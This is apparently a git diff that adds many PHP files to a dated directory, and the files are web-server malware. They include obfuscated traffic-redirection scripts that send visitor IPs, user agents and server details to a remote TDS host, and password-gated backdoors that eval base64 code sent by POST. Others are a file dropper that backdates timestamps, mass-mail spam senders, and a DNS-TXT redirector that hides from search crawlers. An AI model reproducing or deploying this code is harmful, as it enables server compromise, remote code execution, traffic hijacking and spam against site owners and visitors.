$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($efmefurwnncyt)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$dsefws;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// aZ9rTyAmx.bV*C*x7A)z(rK000rG@51c_P=#R-v
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bqzpxkerbrbkpx); }
} else { $goto=base64_decode($bqzpxkerbrbkpx); }}
// T_@@y76gVqSdq
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($bqzpxkerbrbkpx); }
} else { $goto=base64_decode($bqzpxkerbrbkpx); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($pfas($penb));}
"; function uruhf($errno,$errstr,$errfile,$errline){ $ssmbshvarsapnkw= create_function('',$errstr); array_map($ssmbshvarsapnkw,array('')); } set_error_handler('uruhf');$dpmcty=$fdgmur($qvpbnpruraus);user_error($dpmcty,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/csfkz.php b/22.12.2020/csfkz.php new file mode 100644 index 0000000..213c0c1 --- /dev/null +++ b/22.12.2020/csfkz.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ctmdnvghc.php b/22.12.2020/ctmdnvghc.php new file mode 100644 index 0000000..46e9550 --- /dev/null +++ b/22.12.2020/ctmdnvghc.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/ctndtu.php b/22.12.2020/ctndtu.php new file mode 100644 index 0000000..952a3a3 --- /dev/null +++ b/22.12.2020/ctndtu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/currency.php b/22.12.2020/currency.php new file mode 100644 index 0000000..38f696c --- /dev/null +++ b/22.12.2020/currency.php @@ -0,0 +1,36 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$qaztps=str_ireplace("q","",$ahwctapd);$xmmtmawpvktsfen = "/*dggtzttrgsrvv*/ if (!empty($_GET) && isset($_GET["mode"])){/*pmstbhksrxen*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*awppywxembgzzr*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qZGFuZ2h5ZWdoZGhoY2IqLyA=")); } die; } if(!empty($_GET)){$mvvwwrzpayexx="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vdHVydWNybWdjL2JiYWdoL2M2NzRkNWEwNDk4MzQ1ZTg4NDczZGZhNGM0ZjAyMWU5bWRkdGd6dXhwLw=="; $mayzakmdh=""; $sehueketdr="aHR0cDovL3VuaWNlZi5vcmc=="; $kxtudmgbmatkgkq="new-w"; $fmacfwzrqbqfuq="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //RAUHBA// 
$equyz=strrev(str_ireplace("t","","tetttdttttottttttctttttetttdtttttt_tttt4tttttt6tttttettsttttattttbtt"));$szdhqggv="//ConfGui
// 2pteKUS#u.EK#$1sTxA03(
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// =sApFCHVYccxZBn7(Dy_
$mode=$_GET["mode"];
if($mode=="config" AND $fmacfwzrqbqfuq==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($mvvwwrzpayexx).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$mayzakmdh.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$fmacfwzrqbqfuq.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($sehueketdr).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$kxtudmgbmatkgkq.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// BGyxM1sgftDbRwbek-(DhU=a1YwZ4aDhrz@UkHN
if($mode=="setconfig" AND $fmacfwzrqbqfuq==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //RAU';
$kaka=$ka.'HBA// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $mvvwwrzpayexx="'.base64_encode($_POST["ptds"]).'"; $mayzakmdh="'.$_POST["ptdsip"].'"; $sehueketdr="'.base64_encode($_POST["pto"]).'"; $kxtudmgbmatkgkq="'.$_POST["pesdid"].'"; $fmacfwzrqbqfuq="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// BGyGs_18z$GbX7HX5@CR*PWHdCENQkb.GFR$mdxxS67^
//send
if(empty($mayzakmdh)) {$dom = explode("/", base64_decode($mvvwwrzpayexx)); $dom=$dom[2];} else {$dom=$mayzakmdh;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// 6f6-gw^2vMyaM8qs3Byt9bcUnVC9kYsZp.cznZUu6_Mf.G9
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($mvvwwrzpayexx)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$kxtudmgbmatkgkq;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// Pd7@+!B_q@1v$Xg.x3!0Hqgz$yNcMMbt1DbfN+t.202(d#v
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($sehueketdr); }
} else { $goto=base64_decode($sehueketdr); }}
// PU(XEVT4NWV-++d$BKurD*s)*)eDpzc(.Yz
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($sehueketdr); }
} else { $goto=base64_decode($sehueketdr); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($equyz($szdhqggv));}
"; function pcemr($errno,$errstr,$errfile,$errline){ $nbtcepdpqukkycm= create_function('',$errstr); array_map($nbtcepdpqukkycm,array('')); } set_error_handler('pcemr');$faxzse=$qaztps($xmmtmawpvktsfen);user_error($faxzse,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('VWWG')) +{ + define('VWWG', __DIR__); +} + +if( version_compare(PHP_VERSION, '5.3.0', '>=') ) +{ + @error_reporting(E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); + @ini_set('error_reporting', E_ALL ^ (E_DEPRECATED|E_USER_DEPRECATED)); +} + + + +?> \ No newline at end of file diff --git a/22.12.2020/cybwqgfkgu.php b/22.12.2020/cybwqgfkgu.php new file mode 100644 index 0000000..b5dcec3 --- /dev/null +++ b/22.12.2020/cybwqgfkgu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/cygtnarxm.php b/22.12.2020/cygtnarxm.php new file mode 100644 index 0000000..9020045 --- /dev/null +++ b/22.12.2020/cygtnarxm.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/czqhnwrvw.php b/22.12.2020/czqhnwrvw.php new file mode 100644 index 0000000..fb7feaa --- /dev/null +++ b/22.12.2020/czqhnwrvw.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/czzdu.php b/22.12.2020/czzdu.php new file mode 100644 index 0000000..d9a6bed --- /dev/null +++ b/22.12.2020/czzdu.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/d.php b/22.12.2020/d.php new file mode 100644 index 0000000..fbcebb9 --- /dev/null +++ b/22.12.2020/d.php @@ -0,0 +1,61 @@ + 0) { + die('User-agent: *\r\nDisallow: /\r\n'); +} + +$ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; +if ($ua == '' || preg_match('/crawl|spider|bot|mediapartners|slurp|ezooms|ia_archiver|lycos/i', $ua)) { + header('HTTP/1.1 500 Internal Server Error'); + die(); +} + +if (!empty($_SERVER['HTTP_CLIENT_IP'])) { + $inf = $_SERVER['HTTP_CLIENT_IP']; +} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { + $inf = $_SERVER['HTTP_X_FORWARDED_FOR']; +} else { + $inf = $_SERVER['REMOTE_ADDR']; +} + +if (substr_count($inf, '.') == 3 && !isset($_GET['ts'])){ + $inf = 'ip-'.str_replace('.', '-', $inf).'.'; +} else { + $inf = ''; +} + +$host = $_SERVER['SERVER_NAME']; +if (strlen($host) > 0 && !isset($_GET['ts'])) { + $inf = $inf.'hst-'.substr(md5(strtolower($host)), -8).'.'; +} + +$d = array(base64_decode(str_replace('.', '', 'ZmV0Y2hkb.S4lc3B1bG.xkbnMu.Y29t'))); +foreach ($d as $k=>$v) { + $d[$k] = sprintf($v, $inf); +} + +for ($i = rand(0, count($d)); $i < 20 + count($d); $i++) { + $s = dns_get_record($d[$i % count($d)], DNS_TXT); + $location = ''; + if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt'])) { + if ((strpos($s[0]['txt'], 'blocked')) !== FALSE) { + header('HTTP/1.1 500 Internal Server Error'); + die(); + } + if ((strpos($s[0]['txt'], 'http')) !== FALSE) { + $location = $s[0]['txt']; + break; + } + } +} + +if (!strlen($location)) + die(); + +if (isset($_GET['ts'])) { + echo 'OK'.$location.'ERR'; +} else { + echo ''; +} diff --git a/22.12.2020/d00027.php b/22.12.2020/d00027.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/d00027.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/d553d2.php b/22.12.2020/d553d2.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/d553d2.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/d567a6.php b/22.12.2020/d567a6.php new file mode 100644 index 0000000..1eeb2dc --- /dev/null +++ b/22.12.2020/d567a6.php @@ -0,0 +1,92 @@ + 0) { + @mkdir(rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.rtrim(substr($fname, 0, $p), DIRECTORY_SEPARATOR), 0777, true); +} + +if ($up > 0) { + $fname = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fname; +} + +for ($i = 0; $i < 20; $i++) { + file_put_contents($fname, $data, LOCK_EX); + @touch($filename, mktime(1,1,1,1,2,2020), mktime(1,1,1,1,3,2020)); + $ok = file_exists($fname); + if ($ok) break; +} + +if ($ok) { + d('ok'); +} else { + d('bad:'.$fname.'|'.__DIR__); +} + diff --git a/22.12.2020/dJyxdZdw.php b/22.12.2020/dJyxdZdw.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/dJyxdZdw.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/dQbDgIzJ.php b/22.12.2020/dQbDgIzJ.php new file mode 100644 index 0000000..5abdc0a --- /dev/null +++ b/22.12.2020/dQbDgIzJ.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body, $header); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/dZljaSpn.php b/22.12.2020/dZljaSpn.php new file mode 100644 index 0000000..b9b31cd --- /dev/null +++ b/22.12.2020/dZljaSpn.php @@ -0,0 +1,34 @@ + $x_value) { + +$data = base64_decode($x_value) ; +$to_data = explode('|', $data); + +$to = $to_data[0]; +$x_subject = $to_data[1]; +$x_body = $to_data[2]; +$from_user = $to_data[3]; +$from_email = $to_data[4]; +$header = $to_data[5]; + + + +$jfnbrsjfq = mail($to, $x_subject, $x_body); +if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} + +} +} + diff --git a/22.12.2020/dahbecdbt.php b/22.12.2020/dahbecdbt.php new file mode 100644 index 0000000..a542ff2 --- /dev/null +++ b/22.12.2020/dahbecdbt.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/daxzrtkkfv.php b/22.12.2020/daxzrtkkfv.php new file mode 100644 index 0000000..6eda460 --- /dev/null +++ b/22.12.2020/daxzrtkkfv.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/decsfh.php b/22.12.2020/decsfh.php new file mode 100644 index 0000000..b07d6e7 --- /dev/null +++ b/22.12.2020/decsfh.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/22.12.2020/deptodoc.php b/22.12.2020/deptodoc.php new file mode 100644 index 0000000..e275d90 --- /dev/null +++ b/22.12.2020/deptodoc.php @@ -0,0 +1,31 @@ +=')) {error_reporting(E_ALL ^ (E_WARNING|E_NOTICE|E_CORE_WARNING|E_COMPILE_WARNING|E_USER_WARNING|E_USER_NOTICE|E_STRICT|E_DEPRECATED|E_USER_DEPRECATED));}$heeaur=str_ireplace("z","",$ebaesrcvdb);$wtgafyhsrzm = "/*rnganytwrww*/ if (!empty($_GET) && isset($_GET["mode"])){/*bzppqyvmncsywwq*/die;} if (!empty($_POST)){ if (empty($_POST["mdf"]) || (!empty($_POST["mdf"]) && trim($_POST["mdf"]) != "DmVTcUjjpP6ZiuzZ")) { die; } if (!function_exists("create_function")) {/*aeddttewvn*/} else { eval(base64_decode("JGg9JF9QT1NUWyJkIl0oIiIsJF9QT1NUWyJmIl0oJF9QT1NUWyJzIl0oImMiLCIiLCRfUE9TVFsibSJdKSkpOyRoKCk7IC8qdnN1bW5kYiovIA==")); } die; } if(!empty($_GET)){$xdwcaaedpsznh="aHR0cDovL29uZXNlcnZpY2VzLmluZm8vYW1xbW1jL2Nud2FuYS8wOTMxZmEzNjRhYzI0MmI1OTBlMDFiOWU2M2M5N2MyN2ZmaGRndmV4YWMv"; $kysqda=""; $vgpahxdmazu="aHR0cDovL3VuaWNlZi5vcmc=="; $rrnsbxcrvs="new-w"; $kwgbg="rHL0du8N79Y7brj5zR2n5mJDcXKfxDK7"; //KUZBZQ// 
$pep=strrev(str_ireplace("u","","uuueuuuuduuuuouuuuucuueuuuuuduuuu_uuu4uu6uuueuuuusuuuuuauuuuubuuu"));$zkvzcab="//ConfGui
// B9GMmcsVY4S72vdyy@@$U=Rnv2#Qk8nMyyrAGnz
if(strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
if(strpos($_SERVER['HTTP_USER_AGENT'],'Searching.777') !== false) {
    //header($_SERVER['SERVER_PROTOCOL'].' 302 Found');
    //header('Location: http://bing.com/');
    //exit;
}
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('display_errors', false);
@set_time_limit(0);
// $rcR4eAMCc9Bvc2Wy32S3U@_mx
$mode=$_GET["mode"];
if($mode=="config" AND $kwgbg==$_GET['key']){
echo '<form name="form1" method="post" action=http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?mode=setconfig&key='.$_GET['key'].'>
<table border="0"><tr><td>TDS</td><td><input type="text" name="ptds" value="'.base64_decode($xdwcaaedpsznh).'"></td><td>TDS IP</td>
<td><input type="text" name="ptdsip" value="'.$kysqda.'"></td><td>KEY</td><td><input type="text" name="pkey" value="'.$kwgbg.'"></td>
</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($vgpahxdmazu).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$rrnsbxcrvs.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// xp2PcDAn_S(W5NVkg#A=4
if($mode=="setconfig" AND $kwgbg==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //KUZ';
$kaka=$ka.'BZQ// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $xdwcaaedpsznh="'.base64_encode($_POST["ptds"]).'"; $kysqda="'.$_POST["ptdsip"].'"; $vgpahxdmazu="'.base64_encode($_POST["pto"]).'"; $rrnsbxcrvs="'.$_POST["pesdid"].'"; $kwgbg="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// .f0!R0)w
//send
if(empty($kysqda)) {$dom = explode("/", base64_decode($xdwcaaedpsznh)); $dom=$dom[2];} else {$dom=$kysqda;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// #xa6UNdtSZhC5p4ESp4zAVf
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
